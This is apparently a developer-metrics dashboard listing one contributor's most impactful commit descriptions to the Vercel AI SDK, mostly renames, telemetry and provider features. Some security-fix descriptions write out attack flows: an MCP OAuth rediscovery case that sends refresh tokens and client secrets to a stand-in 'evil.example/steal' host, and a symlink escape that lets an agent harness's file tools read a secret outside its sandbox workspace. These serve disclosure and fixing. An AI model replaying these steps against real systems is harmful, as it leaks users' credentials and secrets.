Aayush Kapoor
90d · built 2026-07-24
90-day totals
- Commits
- 117
- Grow
- 8.8
- Maintenance
- 10.1
- Fixes
- 6.2
- Total ETV
- 25.1
Where this dev ranks
Percentile against the global top-100 leaderboard (all-time totals).
- By commits
- Top 78 %
- By Growth share
- Top 63 %
30-day trajectory
Last 30 days vs. the 30 days before. Up arrows on Growth and ETV mean improvement; up arrow on Fixes share means more time on fixes (worse).
↓-53.2 %
vs 47 prior
↑+6.4 pp
recent vs prior
↑+27.7 pp
recent vs prior
Daily performance
Daily ETV, stacked by Growth, Maintenance and Fixes.
Work-mix over time
Share of Growth / Maintenance / Fixes over a rolling 7-day window. Reads as 'where is effort flowing right now'.
Repository spread
Where this developer's commits land. Concentrated work (top1 > 80%) vs polymath spread (top1 < 30%).
Most impactful commits
Top 20 by ETV in the 90-day window.
- 2.1ETVfeat(codemods): add codemods for v6 to v7 migration (#16227) ## Background Chore work for v7 of AI SDK ## Summary the codemods were added for the following changes: - `v7/remove-experimental-custom-provider` - `v7/remove-experimental-generate-image` - `v7/replace-experimental-output-with-output` - `v7/remove-experimental-prepare-step` - `v7/replace-cached-input-tokens` - `v7/replace-reasoning-tokens` - `v7/remove-experimental-active-tools` - `v7/remove-tool-call-options-type` - `v7/remove-is-tool-or-dynamic-tool-uipart` - `v7/remove-media-content-part-type` - `v7/replace-anthropic-cache-creation-input-tokens` - `v7/rename-experimental-transcribe` - `v7/rename-experimental-generate-speech` - `v7/rename-call-settings-type` - `v7/rename-step-count-is` - `v7/rename-system-to-instructions` - `v7/rename-experimental-on-start-to-on-start` - `v7/rename-experimental-on-step-start-to-on-step-start` - `v7/rename-on-finish-to-on-end` - `v7/rename-on-step-finish-to-on-step-end` - `v7/rename-experimental-on-finish-to-on-end` - `v7/rename-experimental-telemetry-to-telemetry` - `v7/rename-on-rerank-finish-to-on-rerank-end` - `v7/rename-on-embed-finish-to-on-embed-end` - `v7/rename-full-stream-to-stream` - `v7/move-include-raw-chunks-to-include` - `v7/rename-experimental-include-to-include` - `v7/rename-experimental-on-tool-call-start-to-on-tool-execution-start` - `v7/rename-experimental-on-tool-call-finish-to-on-tool-execution-end` - `v7/rename-experimental-context-to-context` - `v7/rename-google-generative-ai-to-google` - `v7/replace-image-message-part-with-file` ## Manual Verification - test fixtures were added - tested by running codemods on the repo https://github.com/vercel-labs/open-agents ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work verify on a real codebasegithub.com-vercel-ai · 9f12cd24 · 2026-06-17
- 1.7ETVfeat(ai): rename onStepFinish to onStepEnd (#15849) ## Background as part of our renaming consistency efforts, the `onStepFinish` callback had to be renamed to `onStepEnd` ## Summary `onStepFinish` -> `onStepEnd` ## Manual Verification ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · 19736eed · 2026-06-05
- 1.4ETVfeat(ai): use tracing channels to track parent-child context (#15660) ## Background we introduced diagnostic channels in https://github.com/vercel/ai/pull/14854 as a way to propagate event data. but the problem was that there was no to establish a relation with the parent and child calls that happen when consuming information via the diagnostics channels. context propagation for subagents remained unsolved (meaning subagents will be detached from the main parent call) ## Summary - use `tracingChannel()` instead of diagnostic `channel()` - model and tool execution are now wrapped with `tracingChannel.tracePromise(...)` via the existing `executeLanguageModelCall` and `executeTool` dispatcher paths - in unsupported/non-Node runtimes, tracing dynamically no-ops and directly runs the original callback/execution ## Manual Verification verified that event data is still transmitted at each lifecycle event by running the example `examples/ai-functions/src/telemetry/tracing-channel/generate-text.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · b097c52a · 2026-06-15
- 1.3ETVfeat(mcp): add support for MCP Apps (#15041) ## Background https://github.com/vercel/ai/issues/12053 https://github.com/vercel/ai/issues/11651 The MCP spec allows connecting hosts to MCP apps (which offer a specialised UI along with tool calls) https://apps.extensions.modelcontextprotocol.io/api/index.html ## Summary - `mcp-client.ts` in the example creates a client with `mcpAppClientCapabilities`. That capability is added in `packages/mcp/src/tool/mcp-apps.ts` - chat route calls `client.listTools()`, then `splitMCPAppTools()`, then passes only modelVisible tools to streamText. This keeps app-only tools away from the model - `packages/mcp/src/tool/mcp-client.ts` now preserves MCP App metadata on converted AI SDK tools under `metadata.mcp.app` - `page.tsx` passes tool UI parts to `MCPAppRenderer`. The renderer reads part.callProviderMetadata.mcp.app, loads the resource through the host route, then renders it via a sandbox iframe - Iframe talks back through JSON-RPC - `packages/react/src/mcp-apps/bridge.ts` handles ui/initialize, tool input/result notifications, tools/call, resources/read, display mode requests, logs etc. this exists for the host to communicate with the mcp server ## Manual Verification `http://localhost:3000/chat/mcp-apps` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #11651 and #12053github.com-vercel-ai · 611f6219 · 2026-05-07
- 0.7ETVfeat(openai): add OpenAI Responses programmatic tool calling (#17790) ## Background OpenAI Responses models can use hosted JavaScript programs to coordinate client-owned functions, requiring provider support for tool configuration, nested caller correlation, result replay, and stored or stateless continuation. ## Summary Adds openai.tools.programmaticToolCalling(), OpenAIToolOptions allowedCallers and outputSchema settings, request serialization, program and program_output protocol handling, streaming support, nested caller correlation, deferred results, and correct metadata-preserving continuation for generateText and streamText. ## Testing The pull request covers hosted-tool serialization, caller modes, output schemas, response and stream conversion, caller round-tripping, deferred results, stored and stateless replay, public types, and providerMetadata item references. Focused Node and Edge tests passed, and full repository tests and type checks completed successfully. ## End-to-end Validation - The OpenAI gpt-5.6 generateText example completed successfully in this iteration. - The complete pull request has also been live-validated for generateText and streamText with stored and `store: false` programmatic tool loops. - verified by running `http://localhost:3000/chat/openai-programmatic-tool-calling` ## Documentation Adds OpenAI provider documentation for setup, caller modes, output schemas, function-tool scope, continuation behavior, and security guidance, plus a generateText example and a patch changeset. ## Related Issues Fixes #17767 Co-authored-by: aayush-kapoor <83492835+aayush-kapoor@users.noreply.github.com>github.com-vercel-ai · 1f6dd3a8 · 2026-07-23
- 0.7ETVfeat(ai): make the experimental lifecycle callbacks stable (#16126) ## Background introduced in v7, the user-facing model lifecycle callbacks had to be made stable across the codebase and the docs ## Summary the callbacks are marked stable + deprecated the experimental versions (since some of them were introduced when main was still on v6) ## Manual Verification verified by running the example `examples/ai-functions/src/generate-text/openai/listen-to-events.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · 6ec57f56 · 2026-06-15
- 0.6ETVfix(mcp): prevent prototype pollution by using secureJsonParse (#14763) ## Background alternate to https://github.com/vercel/ai/pull/14313 Prototype pollution vulnerabilities exist in MCP transports and mergeObjects. MCP transports use raw JSON.parse() on data from untrusted MCP servers, and mergeObjects deep-merges without filtering dangerous keys like __proto__, constructor, or prototype. See https://github.com/vercel/ai/issues/14309. ## Summary - replace `JSON.parse()` with `secureJsonParse()` - skip __proto__, constructor, and prototype keys during the merge loop ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #14309github.com-vercel-ai · 9b0bc8ae · 2026-04-28
- 0.6ETVfix: Bedrock Claude Opus structured output fails after multi-step tool calls (#17222) ## Background Bedrock Claude Opus 4.7/4.8 could return malformed structured output after verbose multi-step tool calls, causing AI_NoObjectGeneratedError. ## Summary For Opus 4.7/4.8 tool workflows, the provider now injects the JSON schema into the prompt instead of using an unreliable synthetic response tool, avoids unsupported native structured output fields, and extracts the complete JSON object from generated text. ## Testing Updated the existing Bedrock chat language model tests to verify schema instruction injection, exclusion of the synthetic response tool, and normalization of fenced or trailing structured output. ## End-to-end Validation - `pnpm tsx -e ...` verbose six-page Opus 4.8 batch: completed six tool rounds and all 12 tool results, then returned schema-valid output after a 96,123-input-token final step. ## Related Issues Fixes #16662 Co-authored-by: igalmazor <218749803+igalmazor@users.noreply.github.com>github.com-vercel-ai · b0e9d241 · 2026-07-14
- 0.6ETVfeat(otel): add opt-in options for supplemental AI SDK attributes on OpenTelemetry spans (#14800) ## Background we will most likely be deprecating the `LegacyOpenTelemetry` class. but for users that still need AI SDK specific attributes (not spans), we should consider adding an opt-in option that will allow users to log those attributes this is for information that is not already conveyed through gen_ai spans/attributes ## Summary emit LegacyOpenTelemetry `ai_*` attributes in OpenTelemetry when users want to opt in ```ts registerTelemetry( new OpenTelemetry({ usage: true, providerMetadata: true, runtimeContext: true, }), ); ``` ## Manual Verification verified by running the examples: - `examples/ai-functions/src/generate-text/anthropic/subagent-with-telemetry.ts` - `examples/ai-functions/src/telemetry/otel/generate-text-tool-call.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · 18651f6f · 2026-04-30
- 0.6ETVfeat(anthropic): add the new advisor tool (#15171) ## Background https://github.com/vercel/ai/issues/14285 Anthropic released a new tool (https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool) that lets a faster, lower cost executor model consult a higher intelligence advisor model mid generation for strategic guidance ## Summary - added the new tool spec - mapping for new usage iteration (the advisor tool usage isn't grouped into the top level usage tokens) ## Manual Verification verified by running: - `examples/ai-functions/src/stream-text/anthropic/advisor-20260301.ts` - `examples/ai-functions/src/generate-text/anthropic/advisor-20260301.ts` - `http://localhost:3000/chat/anthropic-advisor-tool` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #14285github.com-vercel-ai · 80184803 · 2026-05-12
- 0.5ETVfeat(ai): wrap the model call in telemetry context (#15479) ## Background continuing from https://github.com/vercel/ai/pull/14732 There seems to be a regression with telemetry spans from v6 -> v7 where the AI Gateway stream fetch request spans seem to be disconnected from the AI SDK traces. For v6, those requests were visibly child spans. In v7, the AI Gateway requests are not child spans. The reason seems to be that in v6, we used to wrap the entire doStream model call with OpenTelemetry context and so all subsequent calls/requests were nested properly ## Summary introduce another helper execute composite (similar to what we do for tool execution `executeTools`) that will help wrap the language model calls for generate text and stream text ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] ~~Documentation has been added / updated (for bug fixes / features)~~ - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work monitor issues for any regressionsgithub.com-vercel-ai · 594029ea · 2026-05-27
- 0.5ETVfix(mcp): prevent mcp oauth credential exfiltration during rediscovery (#15963) ## Background there was an issue in the mcp oauth flow. currently, on a `401` the MCP transport accepted this header: ``` WWW-Authenticate: Bearer resource_metadata="https://evil.example/.well-known/oauth-protected-resource" ``` then `authInternal` would fetch that protected resource metadata (PRM) URL, read: ``` { "resource": "https://api.example.com/mcp-server", "authorization_servers": ["https://evil.example"] } ``` then it would discover `https://evil.example/.well-known/oauth-authorization-server` then refresh would POST to https://evil.example/steal with: ``` grant_type=refresh_token refresh_token=real-refresh-token client_id=real-client client_secret=real-secret ``` so the `resource` validation did not protect the authorization server/token endpoint. ## Summary we added 2 guards: - an explicit `resourceMetadataUrl` from WWW-Authenticate must be same-origin with the configured MCP server - stored credentials are pinned to the authorization server/token endpoint that issued them ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work see if any docs changes are neededgithub.com-vercel-ai · f0c67704 · 2026-06-10
- 0.5ETVfeat(ai): introduce onAbort hook to close telemetry spans (#15651) ## Background created as an alternate to https://github.com/vercel/ai/pull/15477 when aborting a request using AbortController, neither onEnd or onError (telemetry specific, not user facing) are called via the telemetry dispatcher., resulting in traces that are marked as indeterminate ## Summary introduced an `onAbort` hook in the telemetry api that helps close out existing spans in the case of a stream abort ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · e92fc45f · 2026-05-27
- 0.4ETVfeat(vertex): add grok models to vertex provider (#14883) ## Background Vertex supports xAI's Grok models https://docs.cloud.google.com/vertex-ai/generative-ai/docs/partner-models/grok The AI SDK didn't support those models yet ## Summary added a new provider within google vertex provider specific for XAI. Grok models couldn't be appended to just the MaaS provider since Grok models on vertex support structured outputs. ## Manual Verification - `examples/ai-functions/src/generate-text/google/vertex-xai-image-url.ts` - `examples/ai-functions/src/generate-text/google/vertex-xai-output-object.ts` - `examples/ai-functions/src/generate-text/google/vertex-xai-tool-call.ts` - `examples/ai-functions/src/generate-text/google/vertex-xai.ts` - `examples/ai-functions/src/stream-text/google/vertex-xai-output-object.ts` - `examples/ai-functions/src/stream-text/google/vertex-xai-tool-call.ts` - `examples/ai-functions/src/stream-text/google/vertex-xai.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · e59c9550 · 2026-05-01
- 0.4ETVfix(harness-pi): block workspace symlink escapes in file tools (#17419) ## Background currently, `harness-pi` validated that the requested path string was inside the sandbox workspace, but it did not resolve the sandbox-side realpath before reading, grepping, or writing. so an attacker-controlled workspace symlink could look safe, while actually pointing outside the workspace to a secret/config file. ## Summary harness-pi now resolves the real path first and then it checks that resolved target. ## End-to-End Verification the fix was verified against the repro in the vuln report - VULN-13166 what the repro did: 1. Create fake workspace: sandbox-workspace/ 2. Create fake secret outside it: sandbox-home/CODEX_API_KEY 3. Put a symlink inside the workspace: ``` sandbox-workspace/repo-controlled-secret-link -> sandbox-home/CODEX_API_KEY ``` 4. Ask harness-pi to read repo-controlled-secret-link. -- before the fix, `harness-pi` only checked the string path: `sandbox-workspace/repo-controlled-secret-link` That string looks safe because it is inside the workspace. Then the filesystem followed the symlink and leaked the outside secret. So the repro passed. <img width="954" height="298" alt="Screenshot 2026-07-17 at 12 25 54 AM" src="https://github.com/user-attachments/assets/afede896-9ae5-4f26-be31-2624afbf901e" /> After the fix, `harness-pi` resolves the real path first: ``` sandbox-workspace/repo-controlled-secret-link realpath -> sandbox-home/CODEX_API_KEY ``` Then it checks that resolved target. Since `sandbox-home/CODEX_API_KEY` is outside the workspace/readable roots, it throws: `Pi path escapes the readable roots` <img width="963" height="500" alt="Screenshot 2026-07-17 at 12 26 30 AM" src="https://github.com/user-attachments/assets/801b4943-d1f5-4651-9755-6cf3c6b4cd5e" /> ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · cc3e121f · 2026-07-17
- 0.4ETVfeat(ai): rename ui message stream onFinish to onEnd (#16231) ## Background we renamed the `onFinish` hook widely across the AI SDK to `onEnd` as a part of https://github.com/vercel/ai/pull/15245 but there was a case where we missed the rename ## Summary deprecate the `onFinish` hook and rename to `onEnd` ## Manual Verification na this doesn't need a codemod or a migration guide section since this is already covered under one of the migrations ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · cc6ab901 · 2026-06-18
- 0.4ETVfeat(mcp): add retry option for failed mcp tool calls (#16494) ## Background proposed in https://github.com/vercel/ai/issues/16180 mcp tool calls can fail for transient reasons like rate limits, temporary server overload, gateway failures, or network resets. before this change, those failures were surfaced directly as tool errors to the model. that meant the agent loop spent another model step deciding whether to retry the exact same tool call, increasing costs + tokens wasted ## Summary added an opt-in `maxRetries` option to `createMCPClient.` It applies only to mcp `tools/call` requests. by default, behavior is unchanged: no retries unless users configure `maxRetries` ## Manual Verification the repro runs for 2 steps without the change on main, but after the changes - the function retries the tool call execution and the model only runs for 1 step <details> <summary>repro: examples/mcp/src/transient-tool-failure/client.ts </summary> ```ts import { createMCPClient, type JSONRPCMessage, type MCPTransport, } from '@ai-sdk/mcp'; import { openai } from '@ai-sdk/openai'; import { generateText, isStepCount } from 'ai'; import 'dotenv/config'; class FailsOnceToolTransport implements MCPTransport { toolCallCount = 0; onmessage?: (message: JSONRPCMessage) => void; onclose?: () => void; onerror?: (error: Error) => void; async start(): Promise<void> {} async close(): Promise<void> { this.onclose?.(); } async send(message: JSONRPCMessage): Promise<void> { if (!('method' in message) || !('id' in message)) { return; } if (message.method === 'initialize') { this.onmessage?.({ jsonrpc: '2.0', id: message.id, result: { protocolVersion: '2025-11-25', serverInfo: { name: 'flaky-mcp-server', version: '1.0.0', }, capabilities: { tools: {}, }, }, }); return; } if (message.method === 'tools/list') { this.onmessage?.({ jsonrpc: '2.0', id: message.id, result: { tools: [ { name: 'get_user_info', description: 'Get user info by id.', inputSchema: { type: 'object', properties: { userId: { type: 'string', }, }, required: ['userId'], }, }, ], }, }); return; } if (message.method === 'tools/call') { const params = message.params as | { name?: string; arguments?: { userId?: unknown } } | undefined; this.toolCallCount += 1; console.log( `MCP tools/call attempt ${this.toolCallCount}: ${params?.name}(${JSON.stringify( params?.arguments, )})`, ); if (this.toolCallCount === 1) { const error = Object.assign( new Error( 'MCP HTTP Transport Error: POSTing to endpoint (HTTP 503): temporary overload', ), { statusCode: 503 }, ); this.onerror?.(error); throw error; } this.onmessage?.({ jsonrpc: '2.0', id: message.id, result: { content: [ { type: 'text', text: `User ${params?.arguments?.userId}: Ada Lovelace`, }, ], isError: false, }, }); return; } this.onmessage?.({ jsonrpc: '2.0', id: message.id, error: { code: -32601, message: `Unsupported method: ${message.method}`, }, }); } } function errorMessage(error: unknown): string { return error instanceof Error ? error.message : String(error); } async function main() { if (!process.env.OPENAI_API_KEY) { throw new Error('Missing OPENAI_API_KEY'); } const transport = new FailsOnceToolTransport(); const mcpClient = await createMCPClient({ transport, maxRetries: 1, onUncaughtError(error) { console.log(`MCP uncaught error callback: ${errorMessage(error)}`); }, }); try { const tools = await mcpClient.tools(); const result = await generateText({ model: openai('gpt-4o-mini'), tools, stopWhen: isStepCount(3), instructions: [ 'You are demonstrating MCP tool retry behavior.', 'You must call get_user_info to look up user foo_123.', 'After get_user_info succeeds, answer in one short sentence.', ].join('\n'), prompt: 'Look up user foo_123.', onStepFinish({ stepNumber, content, finishReason }) { console.log(`\nmodel step ${stepNumber + 1} finished: ${finishReason}`); for (const part of content) { if (part.type === 'tool-call') { console.log( ` tool call: ${part.toolName}(${JSON.stringify(part.input)})`, ); } if (part.type === 'tool-error') { console.log(` tool error: ${errorMessage(part.error)}`); } if (part.type === 'tool-result') { console.log(` tool result: ${JSON.stringify(part.output)}`); } } }, }); console.log(`\nfinal text: ${result.text}`); console.log(`total MCP tool call attempts: ${transport.toolCallCount}`); } finally { await mcpClient.close(); } } main().catch(error => { console.error(error); process.exit(1); }); ``` </details> ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #16180github.com-vercel-ai · 8c616f03 · 2026-07-01
- 0.4ETVfix (mcp): handle SSE messages without explicit event fields (#16093) ## Background https://github.com/vercel/ai/issues/16002 the mcp `HTTP/SSE` transports only processed sse frames when `event === 'message'` bare sse frames were dropped, so JSON-RPC responses never reached `DefaultMCPClient.request()`, causing `createMCPClient()` to hang instead of resolving ## Summary missing SSE event: fields are treated as the default message event, matching the SSE spec ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #16002github.com-vercel-ai · b29e0876 · 2026-06-12
- 0.3ETVfeat(aliababa): add embedding model support (#15802) ## Background asked in https://github.com/vercel/ai/issues/14644 Alibaba added support for embedding models (both text and multimodal) and the AISDK didn't have support for it yet ## Summary added embedding model support for: - text - multimodal input (will be continued in https://github.com/vercel/ai/pull/15804) ## Manual Verification done by running the examples: - `examples/ai-functions/src/embed-many/alibaba/basic.ts` - `examples/ai-functions/src/embed-many/alibaba/dense-sparse.ts` - `examples/ai-functions/src/embed/alibaba/basic.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work - look into adding support for sparse embedding output in aisdk core - add multimodal suppoprt once api key access is obtained ## Related Issues fixes #14644github.com-vercel-ai · 616bb31e · 2026-06-04
- 0.3ETVfeat(otel): rename OpenTelemetry to LegacyOpenTelemetry (#14779) ## Background As a part of the v7 telemetry revamp, we are changing the `OpenTelemetry` class name to `LegacyOpenTelemetry` to signify the fact that users will have to register this integration to observe the telemetry spans that were observed in v6 and before ## Summary `class OpenTelemetry()` -> `class LegacyOpenTelemetry()` ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work Rename GenAIOpenTelemetry to OpenTelemetrygithub.com-vercel-ai · 8284dfa1 · 2026-04-28